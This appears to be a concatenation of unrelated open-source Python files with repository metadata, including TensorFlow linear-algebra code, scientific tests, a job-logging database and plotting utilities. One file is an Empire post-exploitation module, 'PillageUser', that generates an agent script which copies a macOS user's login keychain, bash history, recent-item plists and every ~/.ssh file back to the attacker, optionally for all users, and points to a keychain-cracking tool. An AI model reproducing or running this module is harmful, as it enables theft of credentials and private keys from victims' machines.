matrices. Elements outside of the three diagonals will be ignored. In `sequence` format, `diagonals` are supplied as a tuple or list of three tensors of shapes `[..., N]`, `[..., M]`, `[..., N]` representing superdiagonals, diagonals, and subdiagonals, respectively. `N` can be either `M-1` or `M`; in the latter case, the last element of superdiagonal and the first element of subdiagonal will be ignored. In `compact` format the three diagonals are brought together into one tensor of shape `[..., 3, M]`, with last two dimensions containing superdiagonals, diagonals, and subdiagonals, in order. Similarly to `sequence` format, elements `diagonals[..., 0, M-1]` and `diagonals[..., 2, 0]` are ignored. The `compact` format is recommended as the one with best performance. In case you need to cast a tensor into a compact format manually, use `tf.gather_nd`. An example for a tensor of shape [m, m]: ```python rhs = tf.constant([...]) matrix = tf.constant([[...]]) m = matrix.shape[0] dummy_idx = [0, 0] # An arbitrary element to use as a dummy indices = [[[i, i + 1] for i in range(m - 1)] + [dummy_idx], # Superdiagonal [[i, i] for i in range(m)], # Diagonal [dummy_idx] + [[i + 1, i] for i in range(m - 1)]] # Subdiagonal diagonals=tf.gather_nd(matrix, indices) x = tf.linalg.tridiagonal_solve(diagonals, rhs) ``` Regardless of the `diagonals_format`, `rhs` is a tensor of shape `[..., M]` or `[..., M, K]`. The latter allows to simultaneously solve K systems with the same left-hand sides and K different right-hand sides. If `transpose_rhs` is set to `True` the expected shape is `[..., M]` or `[..., K, M]`. The batch dimensions, denoted as `...`, must be the same in `diagonals` and `rhs`. The output is a tensor of the same shape as `rhs`: either `[..., M]` or `[..., M, K]`. The op isn't guaranteed to raise an error if the input matrix is not invertible. `tf.debugging.check_numerics` can be applied to the output to detect invertibility problems. Args: diagonals: A `Tensor` or tuple of `Tensor`s describing left-hand sides. The shape depends of `diagonals_format`, see description above. Must be `float32`, `float64`, `complex64`, or `complex128`. rhs: A `Tensor` of shape [..., M] or [..., M, K] and with the same dtype as `diagonals`. diagonals_format: one of `matrix`, `sequence`, or `compact`. Default is `compact`. transpose_rhs: If `True`, `rhs` is transposed before solving (has no effect if the shape of rhs is [..., M]). conjugate_rhs: If `True`, `rhs` is conjugated before solving. name: A name to give this `Op` (optional). Returns: A `Tensor` of shape [..., M] or [..., M, K] containing the solutions. Raises: ValueError: An unsupported type is provided as input, or when the input tensors have incorrect shapes. """ if diagonals_format == 'compact': return _tridiagonal_solve_compact_format(diagonals, rhs, transpose_rhs, conjugate_rhs, name) if diagonals_format == 'sequence': if not isinstance(diagonals, (tuple, list)) or len(diagonals) != 3: raise ValueError('Expected diagonals to be a sequence of length 3.') superdiag, maindiag, subdiag = diagonals if (not subdiag.shape[:-1].is_compatible_with(maindiag.shape[:-1]) or not superdiag.shape[:-1].is_compatible_with(maindiag.shape[:-1])): raise ValueError( 'Tensors representing the three diagonals must have the same shape,' 'except for the last dimension, got {}, {}, {}'.format( subdiag.shape, maindiag.shape, superdiag.shape)) m = tensor_shape.dimension_value(maindiag.shape[-1]) def pad_if_necessary(t, name, last_dim_padding): n = tensor_shape.dimension_value(t.shape[-1]) if not n or n == m: return t if n == m - 1: paddings = ( [[0, 0] for _ in range(len(t.shape) - 1)] + [last_dim_padding]) return array_ops.pad(t, paddings) raise ValueError('Expected {} to be have length {} or {}, got {}.'.format( name, m, m - 1, n)) subdiag = pad_if_necessary(subdiag, 'subdiagonal', [1, 0]) superdiag = pad_if_necessary(superdiag, 'superdiagonal', [0, 1]) diagonals = array_ops.stack((superdiag, maindiag, subdiag), axis=-2) return _tridiagonal_solve_compact_format(diagonals, rhs, transpose_rhs, conjugate_rhs, name) if diagonals_format == 'matrix': m1 = tensor_shape.dimension_value(diagonals.shape[-1]) m2 = tensor_shape.dimension_value(diagonals.shape[-2]) if m1 and m2 and m1 != m2: raise ValueError( 'Expected last two dimensions of diagonals to be same, got {} and {}' .format(m1, m2)) m = m1 or m2 if not m: raise ValueError('The size of the matrix needs to be known for ' 'diagonals_format="matrix"') # Extract diagonals; use input[..., 0, 0] as "dummy" m-th elements of sub- # and superdiagonal. # gather_nd slices into first indices, whereas we need to slice into the # last two, so transposing back and forth is necessary. dummy_idx = [0, 0] indices = ([[[1, 0], [0, 0], dummy_idx]] + [ [[i + 1, i], [i, i], [i - 1, i]] for i in range(1, m - 1) ] + [[dummy_idx, [m - 1, m - 1], [m - 2, m - 1]]]) diagonals = array_ops.transpose( array_ops.gather_nd(array_ops.transpose(diagonals), indices)) return _tridiagonal_solve_compact_format(diagonals, rhs, transpose_rhs, conjugate_rhs, name) raise ValueError('Unrecognized diagonals_format: {}'.format(diagonals_format)) def _tridiagonal_solve_compact_format(diagonals, rhs, transpose_rhs=False, conjugate_rhs=False, name=None): """Helper function used after the input has been cast to compact form.""" diags_rank, rhs_rank = len(diagonals.shape), len(rhs.shape) if diags_rank < 2: raise ValueError( 'Expected diagonals to have rank at least 2, got {}'.format(diags_rank)) if rhs_rank != diags_rank and rhs_rank != diags_rank - 1: raise ValueError('Expected the rank of rhs to be {} or {}, got {}'.format( diags_rank - 1, diags_rank, rhs_rank)) if diagonals.shape[-2] != 3: raise ValueError('Expected 3 diagonals got {}'.format(diagonals.shape[-2])) if not diagonals.shape[:-2].is_compatible_with(rhs.shape[:diags_rank - 2]): raise ValueError('Batch shapes {} and {} are incompatible'.format( diagonals.shape[:-2], rhs.shape[:diags_rank - 2])) def check_num_lhs_matches_num_rhs(): if diagonals.shape[-1] != rhs.shape[-2]: raise ValueError('Expected number of left-hand sided and right-hand ' 'sides to be equal, got {} and {}'.format( diagonals.shape[-1], rhs.shape[-2])) if rhs_rank == diags_rank - 1: # Rhs provided as a vector, ignoring transpose_rhs if conjugate_rhs: rhs = math_ops.conj(rhs) rhs = array_ops.expand_dims(rhs, -1) check_num_lhs_matches_num_rhs() return array_ops.squeeze( linalg_ops.tridiagonal_solve(diagonals, rhs, name), -1) if transpose_rhs: rhs = array_ops.matrix_transpose(rhs, conjugate=conjugate_rhs) elif conjugate_rhs: rhs = math_ops.conj(rhs) check_num_lhs_matches_num_rhs() result = linalg_ops.tridiagonal_solve(diagonals, rhs, name) return array_ops.matrix_transpose(result) if transpose_rhs else result
kevin-coder/tensorflow-fork
tensorflow/python/ops/linalg/linalg_impl.py
Python
apache-2.0
21,603
[ "Gaussian" ]
480c70362781182d5b9a7299368f2c2ee00de280da4a0b47276107eeea266466
class Module: def __init__(self, mainMenu, params=[]): # metadata info about the module, not modified during runtime self.info = { # name for the module that will appear in module menus 'Name': 'PillageUser', # list of one or more authors for the module 'Author': ['@harmj0y'], # more verbose multi-line description of the module 'Description': ("Pillages the current user for their keychain, bash_history, ssh known hosts, " "recent folders, etc. For logon.keychain, use https://github.com/n0fate/chainbreaker ." "For other .plist files, check https://davidkoepi.wordpress.com/2013/07/06/macforensics5/"), # True if the module needs to run in the background 'Background' : False, # File extension to save the file as 'OutputExtension' : "", # if the module needs administrative privileges 'NeedsAdmin' : False, # True if the method doesn't touch disk/is reasonably opsec safe 'OpsecSafe' : True, # the module language 'Language' : 'python', # the minimum language version needed 'MinLanguageVersion' : '2.6', # list of any references/other comments 'Comments': [ "https://davidkoepi.wordpress.com/2013/07/06/macforensics5/" ] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent' : { # The 'Agent' option is the only one that MUST be in a module 'Description' : 'Agent to execute module on.', 'Required' : True, 'Value' : '' }, 'Sleep' : { # The 'Agent' option is the only one that MUST be in a module 'Description' : "Switch. Sleep the agent's normal interval between downloads, otherwise use one blast.", 'Required' : False, 'Value' : 'True' }, 'AllUsers' : { # The 'Agent' option is the only one that MUST be in a module 'Description' : "Switch. Run for all users (needs root privileges!)", 'Required' : False, 'Value' : 'False' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu # During instantiation, any settable option parameters # are passed as an object set to the module and the # options dictionary is automatically set. This is mostly # in case options are passed on the command line if params: for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self, obfuscate=False, obfuscationCommand=""): sleep = self.options['Sleep']['Value'] allUsers = self.options['AllUsers']['Value'] script = """ import os # custom function to send downloac packets back def downloadFile(path): import os filePath = os.path.expanduser(path) if os.path.isfile(filePath): offset = 0 size = os.path.getsize(filePath) while True: partIndex = 0 # get 512kb of the given file starting at the specified offset encodedPart = get_file_part(filePath, offset) partData = "%%s|%%s|%%s" %%(partIndex, filePath, encodedPart) if not encodedPart or encodedPart == '': break sendMessage(encodePacket(41, partData)) # if we're choosing to sleep between file part downloads if "%(sleep)s".lower() == "true": global minSleep global maxSleep minSleep = (1.0-jitter)*delay maxSleep = (1.0+jitter)*delay sleepTime = random.randint(minSleep, maxSleep) time.sleep(sleepTime) partIndex += 1 offset += 5120000 searchPaths = ['/Library/Keychains/login.keychain', '/.bash_history', '/Library/Preferences/com.apple.finder.plist', '/Library/Preferences/com.apple.recentitems.plist', '/Library/Preferences/com.apple.Preview.plist' ] if "%(allUsers)s".lower() == "true": d='/Users/' userPaths = [os.path.join(d,o) for o in os.listdir(d) if os.path.isdir(os.path.join(d,o))] else: userPaths = ['~/'] for userPath in userPaths: for searchPath in searchPaths: downloadFile(userPath + searchPath) # grab all .ssh files filePath = os.path.expanduser('~/.ssh/') sshFiles = [f for f in os.listdir(filePath) if os.path.isfile(os.path.join(filePath, f))] for sshFile in sshFiles: downloadFile('~/.ssh/' + sshFile) print "pillaging complete, if login.keychain recovered, use chainbreaker with the user password" """ % {'sleep': sleep, 'allUsers': allUsers} return script
EmpireProject/Empire
lib/modules/python/collection/osx/pillage_user.py
Python
bsd-3-clause
5,341
[ "BLAST" ]
366debd91fce9b33c49dcf3adc9511212df33e4f31ef7970ef365bb7ad195056
from __future__ import print_function, division import unittest, numpy as np from pyscf import gto, scf from pyscf.nao import nao, scf as scf_c from pyscf.nao import prod_basis class KnowValues(unittest.TestCase): def test_gw(self): """ This is GW """ mol = gto.M(verbose=0, atom='''Ag 0 0 -0.3707; Ag 0 0 0.3707''', basis = 'cc-pvdz-pp',) gto_mf = scf.RHF(mol)#.density_fit() gto_mf.kernel() #print('gto_mf.mo_energy:', gto_mf.mo_energy) s = nao(mf=gto_mf, gto=mol, verbosity=0) oref = s.overlap_coo().toarray() #print('s.norbs:', s.norbs, oref.sum()) pb = prod_basis(nao=s, algorithm='fp') pab2v = pb.get_ac_vertex_array() mom0,mom1=pb.comp_moments() orec = np.einsum('p,pab->ab', mom0, pab2v) self.assertTrue(np.allclose(orec,oref, atol=1e-3), \ "{} {}".format(abs(orec-oref).sum()/oref.size, np.amax(abs(orec-oref)))) if __name__ == "__main__": unittest.main()
gkc1000/pyscf
pyscf/nao/test/test_0092_ag2_ae.py
Python
apache-2.0
929
[ "PySCF" ]
b6334e87b45c8a76bf397e98b447a010c630a864e8c252c0ebaa41c63a53b824
import re import os from markdown.util import etree import logging log = logging.getLogger(__name__) import MooseDocs from MooseTextPatternBase import MooseTextPatternBase import utils try: import utils.MooseSourceParser HAVE_MOOSE_CPP_PARSER = True except: HAVE_MOOSE_CPP_PARSER = False class MooseCppMethod(MooseTextPatternBase): """ A markdown extension for including source code files. """ # REGEX for finding: !clang /path/to/file.C|h method=some_method CPP_RE = r'^!clang\s+(.*?)(?:$|\s+)(.*)' def __init__(self, make=None, **kwargs): super(MooseCppMethod, self).__init__(self.CPP_RE, language='cpp', **kwargs) # The make command to execute self._make = make def handleMatch(self, match): """ Process the C++ file provided. """ # Update the settings from regex match settings, styles = self.getSettings(match.group(3)) # Extract relative filename rel_filename = match.group(2).lstrip('/') # Error if the clang parser did not load if not HAVE_MOOSE_CPP_PARSER: log.error("Unable to load the MOOSE clang C++ parser.") el = self.createErrorElement("Failed to load python clang python bindings.") return el # Read the file and create element filename = os.path.join(self._root, rel_filename) if not os.path.exists(filename): el = self.createErrorElement("C++ file not found: {}".format(rel_filename)) elif not settings.has_key('method'): el = self.createErrorElement("Use of !clang syntax while not providing a method=some_method. If you wish to include the entire file, use !text instead.") else: if self._make == None: el = self.createErrorElement("The location of the Makefile ({}) must be supplied to parser.".format(self._make)) else: log.info('Parsing method "{}" from {}'.format(settings['method'], filename)) try: parser = utils.MooseSourceParser(self._make) parser.parse(filename) decl, defn = parser.method(settings['method']) el = self.createElement(match.group(2), defn, filename, rel_filename, settings, styles) except: el = self.createErrorElement('Failed to parse method using clang, check that you have the make file option passed to the MooseMarkdown object.') # Return the Element object return el
vityurkiv/Ox
python/MooseDocs/extensions/MooseCppMethod.py
Python
lgpl-2.1
2,351
[ "MOOSE" ]
ee654bbdfa5bdb464865158dd67aae60c239980f467bdc3ede1ad44aa0f8a83b
""" JobLoggingDB class is a front-end to the Job Logging Database. The following methods are provided addLoggingRecord() getJobLoggingInfo() getWMSTimeStamps() """ import time from DIRAC import gLogger, S_OK, S_ERROR from DIRAC.Core.Utilities import Time from DIRAC.Core.Base.DB import DB __RCSID__ = "$Id$" # Here for debugging purpose; should be initialized by the containing component gLogger.initialize( 'WMS', '/Databases/JobLoggingDB/Test' ) MAGIC_EPOC_NUMBER = 1270000000 ############################################################################# class JobLoggingDB( DB ): def __init__( self ): """ Standard Constructor """ DB.__init__( self, 'JobLoggingDB', 'WorkloadManagement/JobLoggingDB' ) self.gLogger = gLogger ############################################################################# def addLoggingRecord( self, jobID, status = 'idem', minor = 'idem', application = 'idem', date = '', source = 'Unknown' ): """ Add a new entry to the JobLoggingDB table. One, two or all the three status components can be specified. Optionaly the time stamp of the status can be provided in a form of a string in a format '%Y-%m-%d %H:%M:%S' or as datetime.datetime object. If the time stamp is not provided the current UTC time is used. """ event = 'status/minor/app=%s/%s/%s' % ( status, minor, application ) self.gLogger.info( "Adding record for job " + str( jobID ) + ": '" + event + "' from " + source ) if not date: # Make the UTC datetime string and float _date = Time.dateTime() epoc = time.mktime( _date.timetuple() ) + _date.microsecond / 1000000. - MAGIC_EPOC_NUMBER time_order = round( epoc, 3 ) else: try: if isinstance( date, basestring ): # The date is provided as a string in UTC _date = Time.fromString( date ) epoc = time.mktime( _date.timetuple() ) + _date.microsecond / 1000000. - MAGIC_EPOC_NUMBER time_order = round( epoc, 3 ) elif isinstance( date, Time._dateTimeType ): _date = date epoc = time.mktime( _date.timetuple() ) + _date.microsecond / 1000000. - MAGIC_EPOC_NUMBER #pylint: disable=no-member time_order = round( epoc, 3 ) else: self.gLogger.error( 'Incorrect date for the logging record' ) _date = Time.dateTime() epoc = time.mktime( _date.timetuple() ) - MAGIC_EPOC_NUMBER time_order = round( epoc, 3 ) except: self.gLogger.exception( 'Exception while date evaluation' ) _date = Time.dateTime() epoc = time.mktime( _date.timetuple() ) - MAGIC_EPOC_NUMBER time_order = round( epoc, 3 ) cmd = "INSERT INTO LoggingInfo (JobId, Status, MinorStatus, ApplicationStatus, " + \ "StatusTime, StatusTimeOrder, StatusSource) VALUES (%d,'%s','%s','%s','%s',%f,'%s')" % \ ( int( jobID ), status, minor, application, str( _date ), time_order, source ) return self._update( cmd ) ############################################################################# def getJobLoggingInfo( self, jobID ): """ Returns a Status,MinorStatus,ApplicationStatus,StatusTime,StatusSource tuple for each record found for job specified by its jobID in historical order """ cmd = 'SELECT Status,MinorStatus,ApplicationStatus,StatusTime,StatusSource FROM' \ ' LoggingInfo WHERE JobId=%d ORDER BY StatusTimeOrder,StatusTime' % int( jobID ) result = self._query( cmd ) if not result['OK']: return result if result['OK'] and not result['Value']: return S_ERROR( 'No Logging information for job %d' % int( jobID ) ) return_value = [] status, minor, app = result['Value'][0][:3] if app == "idem": app = "Unknown" for row in result['Value']: if row[0] != "idem": status = row[0] if row[1] != "idem": minor = row[1] if row[2] != "idem": app = row[2] return_value.append( ( status, minor, app, str( row[3] ), row[4] ) ) return S_OK( return_value ) ############################################################################# def deleteJob( self, jobID ): """ Delete logging records for given jobs """ # Make sure that we have a list of jobs if isinstance( jobID, (int, long) ): jobList = [ str( jobID ) ] elif isinstance( jobID, basestring ): jobList = [ jobID ] else: jobList = list( jobID ) jobString = ','.join( jobList ) req = "DELETE FROM LoggingInfo WHERE JobID IN (%s)" % jobString result = self._update( req ) return result ############################################################################# def getWMSTimeStamps( self, jobID ): """ Get TimeStamps for job MajorState transitions return a {State:timestamp} dictionary """ self.gLogger.debug( 'getWMSTimeStamps: Retrieving Timestamps for Job %d' % int( jobID ) ) result = {} cmd = 'SELECT Status,StatusTimeOrder FROM LoggingInfo WHERE JobID=%d' % int( jobID ) resCmd = self._query( cmd ) if not resCmd['OK']: return resCmd if not resCmd['Value']: return S_ERROR( 'No Logging Info for job %d' % int( jobID ) ) for event, etime in resCmd['Value']: result[event] = str( etime + MAGIC_EPOC_NUMBER ) # Get last date and time cmd = 'SELECT MAX(StatusTime) FROM LoggingInfo WHERE JobID=%d' % int( jobID ) resCmd = self._query( cmd ) if not resCmd['OK']: return resCmd if len( resCmd['Value'] ) > 0: result['LastTime'] = str( resCmd['Value'][0][0] ) else: result['LastTime'] = "Unknown" return S_OK( result )
Andrew-McNab-UK/DIRAC
WorkloadManagementSystem/DB/JobLoggingDB.py
Python
gpl-3.0
5,875
[ "DIRAC" ]
dc9b777dde79f6c244cd970153574dfa746028844943dff7d6c526eaec9fa129
# coding: utf-8 from sqlalchemy import Column, Integer, ForeignKey, Float, Boolean from sqlalchemy.orm import mapper, relationship from sqlalchemy.ext.declarative import declarative_base import random Base = declarative_base() class Group(Base): __tablename__ = 'groups' id = Column(Integer, primary_key=True) guests = relationship("Guest", back_populates="group") def boring(self): """same sex groups are boring""" sexes = set([g.sex for g in self.guests]) return len(sexes)==1 def __repr__(self): mood = "boring" if self.boring() else "exciting" return "group%s, %s" % (self.id, mood) class Guest(Base): __tablename__ = 'guests' id = Column(Integer, primary_key=True) group_id = Column(Integer, ForeignKey('groups.id')) group = relationship("Group", back_populates="guests") happy = Column(Boolean) sex = Column(Boolean) tolerance = Column(Float) def __init__(self, tolerance): self.happy = random.choice([True, False]) self.sex = random.choice([True, False]) self.group = random.choice(session.query(Group).all()) self.tolerance = tolerance def update_happiness(self): total = len(self.group.guests) same = session.query(Guest).filter( Guest.sex == self.sex, Guest.group == self.group).count() opposite = total - same # you are happy if the proportion of people of the opposite sex # does not exceed your tolerance self.happy = (float(opposite) / float(total)) <= (self.tolerance) session.commit() def leave_if_unhappy(self): if self.happy == False: # join another random group all_groups = session.query(Group).all() all_groups.remove(self.group) self.group = random.choice(all_groups) session.commit() def __repr__(self): happy = "happy" if self.happy else "unhappy" sex = "male" if self.sex else "female" return "'guest=%s %s %s@%s'" % (self.id, happy, sex, self.group)
rgarcia-herrera/party
model.py
Python
gpl-3.0
2,133
[ "exciting" ]
1d3f4104c29b4bee99cfa294f73b75d6c363b64436b187d1ca7126a54d96ec27
# -*- coding: utf-8 -*- """ Created on Wed Nov 18 16:34:59 2015 @author: casimp """ import numpy as np from numpy.polynomial.chebyshev import chebval import matplotlib.pyplot as plt from mpl_toolkits.axes_grid1 import make_axes_locatable from pyxe.fitting_tools import pawley_hkl, extract_parameters, array_fit_pawley from scipy.optimize import curve_fit def line_extract(X, Y, pnt, theta, res=0.05): """ Extracts line from 2d position array (according to point/angle). Args: X (ndarray): 1d/2d-array of positions Y (ndarray): 1d/2d-array of positions pnt (tuple): Define data point (index) else point (0, ) x ndim. theta (float): Angle (rad) though 2D array Returns: tuple: x, y, d - where (x, y) are vector co-ords and d is scalar pos """ x_valid = np.logical_and(pnt[0] >= np.min(X), pnt[1] <= np.max(X)) y_valid = np.logical_and(pnt[0] >= np.min(Y), pnt[1] <= np.max(Y)) error = "Specified point (pnt) doesn't lie within data limits." assert x_valid and y_valid, error if theta % np.pi / 2 == 0: if theta % np.pi != 0: npnts = 1 + (np.max(Y) - np.min(Y)) // res y = np.linspace(np.min(Y), np.max(Y), npnts) x = y * 0 + pnt[0] d = np.max(y) - np.min(y) else: npnts = 1 + (np.max(X) - np.min(X)) // res x = np.linspace(np.min(X), np.max(X), npnts) y = x * 0 + pnt[1] d = np.max(x) - np.min(x) else: m = np.tan(theta) c = pnt[1] - m * pnt[0] y_lim = [m * np.min(X) + c, m * np.max(X) + c] y_min = np.min(Y) if min(y_lim) < np.min(Y) else min(y_lim) y_max = np.max(Y) if max(y_lim) > np.max(Y) else max(y_lim) x_1, x_2 = (y_min - c) / m, (y_min - c) / m d = ((x_2 - x_1)**2 + (y_max - y_min)**2)**0.5 npnts = 1 + d // res y = np.linspace(y_min, y_max, npnts) x = (y - c) / m return x, y, np.linspace(0, d, npnts) def az90(phi, az_idx): """ Searches for and returns azithmuthal idx perp. to specified idx. Args: phi (ndarray): 1d array of azimuthal angles idx (int): Azimuthal slice index of chosen slice Returns: int: Azimuthal slice index """ for i in [-np.pi/2, np.pi/2]: if phi[az_idx] < -np.pi: find_ind = np.isclose(phi, np.pi - phi[az_idx] + i) else: find_ind = np.isclose(phi, phi[az_idx] + i) if np.sum(find_ind) == 1: return int(np.argmax(find_ind)) raise ValueError('No cake segment found perpendicular to given index.', 'Number of cake segments must be divisable by 4.') def meshgrid_res(d1, d2, spatial_resolution): """ Takes flat data point arrays, re-meshes at a defined spatial resolution. Args: d1 (ndarray): Positions (x) d2 (ndarray): Positions (y) spatial_resolution (float): Point spacing Returns: tuple: Re-meshed 2d arrays (d1, d2) """ d1_points = np.ceil((np.max(d1) - np.min(d1)) / spatial_resolution) + 1 d2_points = np.ceil((np.max(d2) - np.min(d2)) / spatial_resolution) + 1 d1_ = np.linspace(np.min(d1), np.max(d1), d1_points) d2_ = np.linspace(np.min(d2), np.max(d2), d2_points) return np.meshgrid(d1_, d2_) def plot_complex(x_raw, y_raw, x, y, z, levels=11, limits=[None, None], continuous=True, figsize=(10, 10), ax=False, cbar=True, **kwargs): """ Plots 2D heat map of stress/strain fields. Args: x_raw (ndarray): Data acquisision points y_raw (ndarray): Data acquisision points x (ndarray): 2D x-position array (interpolated) y (ndarray): 2D y-position array (interpolated) z (ndarray): 2D stress/strain array lvls (int, ndarray): Number of contours to display (or defined levels) figsize (tuple): Figure size ax: Supply axis to plot on or (False) create new plot cbar (bool): Display colour bar """ if not ax: fig = plt.figure(figsize=figsize) ax = fig.add_subplot(111) if limits != [None, None]: z[z < limits[0]] = limits[0] z[z > limits[1]] = limits[1] cf_back = ax.contourf(x, y, z, levels, **kwargs) # Zero markings if z.min() < 0 and z.max() > 0: ax.contour(x, y, z, levels=[0], colors=('k',), linestyles=('--',), linewidths=(3,)) # Continuous background of discrete colours if continuous: if not isinstance(levels, int): lvls_ = np.linspace(np.min(levels), np.max(levels), 192) ax.contourf(x, y, z, lvls_, **kwargs) else: ax.contourf(x, y, z, 192, **kwargs) # Contours c = ax.contour(x, y, z, levels, colors='0', alpha=0.625) # Acquisition points ax.plot(x_raw, y_raw, '+', color='0.1', alpha=0.75, markersize=5, linestyle='None') # Formatting ax.set_aspect('equal') ax.autoscale(tight=True) divider = make_axes_locatable(ax) if cbar: cax = divider.append_axes("right", "3%", pad="3%") cbar = plt.colorbar(cf_back, cax=cax) cbar.add_lines(c) return ax def pawley_plot(q, I, detector, az_idx, ax, q_lim=None, func='gaussian', poisson=True): """ Plots q against measured intensity overlaid with Pawley fit. Includes highlighting of anticipated Bragg peak locations and difference between measured intensity and Pawley fit. Args: q (ndarray): Reciprocal lattice I (ndarray): Intensity detector: pyxpb detector instance az_idx (int): Azimuthal slice index ax: Axis to apply plot to poisson (bool): Poisson weighting """ background = chebval(q, detector._back[az_idx]) if q_lim is None: q_lim = [np.min(q), np.max(q)] p0 = extract_parameters(detector, q_lim, np.nanmax(I)) pawley = pawley_hkl(detector, background, func=func) sig = 1 + I**0.5 if poisson else None coeff, var_mat = curve_fit(pawley, q, I, p0=p0, sigma=sig) I_pawley = pawley(q, *coeff) # Plot raw data and Pawley fit to data ax.plot(q, I, 'o', markeredgecolor='0.3', markersize=4, markerfacecolor='none', label=r'$\mathrm{I_{obs}}$') ax.plot(q, I_pawley, 'r-', linewidth=0.75, label=r'$\mathrm{I_{calc}}$') # Plot Bragg positions - locate relative to max intensity ymin = -ax.get_ylim()[1] / 10 materials = detector.materials for idx, mat in enumerate(materials): offset = (1 + idx) * ymin / 2 for q0 in detector.q0[mat]: bragg_line = [offset + ymin / 8, offset - ymin / 8] ax.plot([q0, q0], bragg_line, 'g-', linewidth=2) # Use error bars to fudge vertical lines in legend ax.errorbar(0, 0, yerr=1, fmt='none', capsize=0, ecolor='g', elinewidth=1.5, label=r'Bragg ({})'.format(mat)) # Plot difference between raw and Pawley fit (shifted below Bragg) I_diff = I - I_pawley max_diff = np.max(I_diff) shifted_error = I - I_pawley + (idx + 2) * ymin / 2 - max_diff ax.plot(q, shifted_error, 'b-', linewidth=0.75, label=r'$\mathrm{I_{diff}}$') # Remove ticks below 0 intensity ylocs = ax.yaxis.get_majorticklocs() yticks = ax.yaxis.get_major_ticks() for idx, yloc in enumerate(ylocs): if yloc < 0: yticks[idx].set_visible(False) legend = ax.legend(numpoints=1) frame = legend.get_frame() frame.set_facecolor('w')
casimp/edi12
pyxe/plotting_tools.py
Python
mit
7,583
[ "Gaussian" ]
a0ad8bfa61e469c1bf7ddf0f9f83f24e7892d1bb6328b4b94f053d114882a0e3
import itertools from simphony.core.cuba import CUBA from .atom_style import AtomStyle class AtomStyleDescription(object): """ Class describes atom style Each atom style has a particular set of attributes that it supports (or provides). This class contains a list of what attributes it contains. Note that the order of items in 'attributes' corresponds to the order they appear in lammps-data file. Attributes ---------- attributes : list of ValueInfo ordered list of what attributes each particle/atom contains velocity_attributes : list of ValueInfo ordered list of what velocity related attributes each atom contains (CUBA.VELOCITY is always included) has_mass_per_type : bool (optional) True if this style requires a mass (specifically mass-per-atom_type) """ def __init__(self, attributes=None, velocity_attributes=None, has_mass_per_type=False): if attributes is None: self.attributes = [] else: self.attributes = attributes self.velocity_attributes = [ValueInfo(cuba_key=CUBA.VELOCITY, lammps_key="v")] if velocity_attributes: self.velocity_attributes.extend(velocity_attributes) self.has_mass_per_type = has_mass_per_type class ValueInfo(object): """ Class describes cuba value Class information on cuba value and provides conversion between LAMMPS/SIMPHONY Attributes ---------- cuba_key : CUBA CUBA key lammps_key : str lammps keyword convert_to_cuba : function (optional) method to convert from LAMMPS value to SimPhoNy-CUBA convert_from_cuba : function (optional) method to convert from SimPhoNy-CUBA to LAMMPS value """ def __init__(self, cuba_key, lammps_key, convert_to_cuba=None, convert_from_cuba=None): self.cuba_key = cuba_key self.lammps_key = lammps_key self.convert_to_cuba = convert_to_cuba self.convert_from_cuba = convert_from_cuba # description of each atom-style ATOM_STYLE_DESCRIPTIONS = { AtomStyle.ATOMIC: AtomStyleDescription( # attributes has default (i.e. coordinates) # , velocity..) has_mass_per_type=True), # but with mass AtomStyle.GRANULAR: AtomStyleDescription( attributes=[ ValueInfo(cuba_key=CUBA.RADIUS, # but diameter in LAMMPS lammps_key="diameter", # TODO check!!!! convert_to_cuba=lambda x: x / 2, # d to radius convert_from_cuba=lambda x: x * 2), # radius to d ValueInfo(cuba_key=CUBA.MASS, lammps_key="mass")], velocity_attributes=[ValueInfo(cuba_key=CUBA.ANGULAR_VELOCITY, lammps_key="omega")], # TODO check has_mass_per_type=False) } MATERIAL_TYPE_VALUE_INFO = ValueInfo(cuba_key=CUBA.MATERIAL_TYPE, lammps_key="type") # all particles will have a material type _default_attributes = [MATERIAL_TYPE_VALUE_INFO] def get_all_attributes(atom_style): """ Return list of value info describing attributes expected on particle Parameters: ----------- atom_style : AtomStyle style of atom """ atom_style_description = ATOM_STYLE_DESCRIPTIONS[atom_style] return [attribute for attribute in itertools.chain( atom_style_description.attributes, atom_style_description.velocity_attributes, _default_attributes)] def get_all_cuba_attributes(atom_style): """ Return list of all CUBA-key expected on particle Parameters: ----------- atom_style : AtomStyle style of atom """ return [attribute.cuba_key for attribute in get_all_attributes(atom_style)]
simphony/simphony-lammps-md
simlammps/common/atom_style_description.py
Python
bsd-2-clause
4,091
[ "LAMMPS" ]
79f2a64e09dc11bd8ee2ca1c80fdd3e5840a7908213526019053e00a68efb03b
""" Primitive image processing functions for the hugs pipeline. """ from __future__ import division, print_function import os import numpy as np import lsst.afw.detection as afwDet from .utils import pixscale from . import utils from . import sextractor from .morphology import Morphology import sep from scipy import ndimage from astropy.io import fits from astropy.table import Table from astropy.nddata import Cutout2D from astropy.convolution import Gaussian2DKernel from astropy.stats import gaussian_sigma_to_fwhm, gaussian_fwhm_to_sigma dustmap = utils.get_dust_map() __all__ = [ 'image_threshold', 'clean', 'clean_use_hsc_mask', 'remove_small_sources_thresholding', 'detect_sources', 'measure_morphology_metrics' ] def image_threshold(masked_image, thresh=3.0, thresh_type='stdev', npix=1, rgrow=None, isogrow=False, plane_name='', mask=None, clear_mask=True): """ Image thresholding. A bit mask will be set with name 'plane_name'. Parameters ---------- masked_image : lsst.afw.image.MaskedImageF A masked image object. thresh : float Threshold value. thresh_type : string, optional Threshold type: stdev, pixel_stdev, bitmask, value, or variance. npix : int, optional Minimum number of touching pixels in an object. rgrow : int, optional Number of pixels to grow footprints. isogrow : bool, optional If True, use (expensive) isotropic grow. plane_name : string, optional Name of bit plane. mask : lsst.afw.image.MaskU, optional Mask to set if not same as in masked_imaged clear_mask : bool, optional If True, clear the bit plane before thresholding Returns ------- fpset : lsst.afw.detection.FootprintSet Footprints associated with detected objects. """ mask = masked_image.getMask() if mask is None else mask thresh_type = getattr(afwDet.Threshold, thresh_type.upper()) thresh = afwDet.Threshold(thresh, thresh_type) fpset = afwDet.FootprintSet(masked_image, thresh, plane_name, npix) if rgrow is not None: fpset = afwDet.FootprintSet(fpset, rgrow, isogrow) if plane_name: mask.addMaskPlane(plane_name) if clear_mask: mask.clearMaskPlane(mask.getMaskPlane(plane_name)) fpset.setMask(mask, plane_name) return fpset def clean(exposure, fpset_low, name_high='THRESH_HIGH', max_frac_high_thresh=0.15, 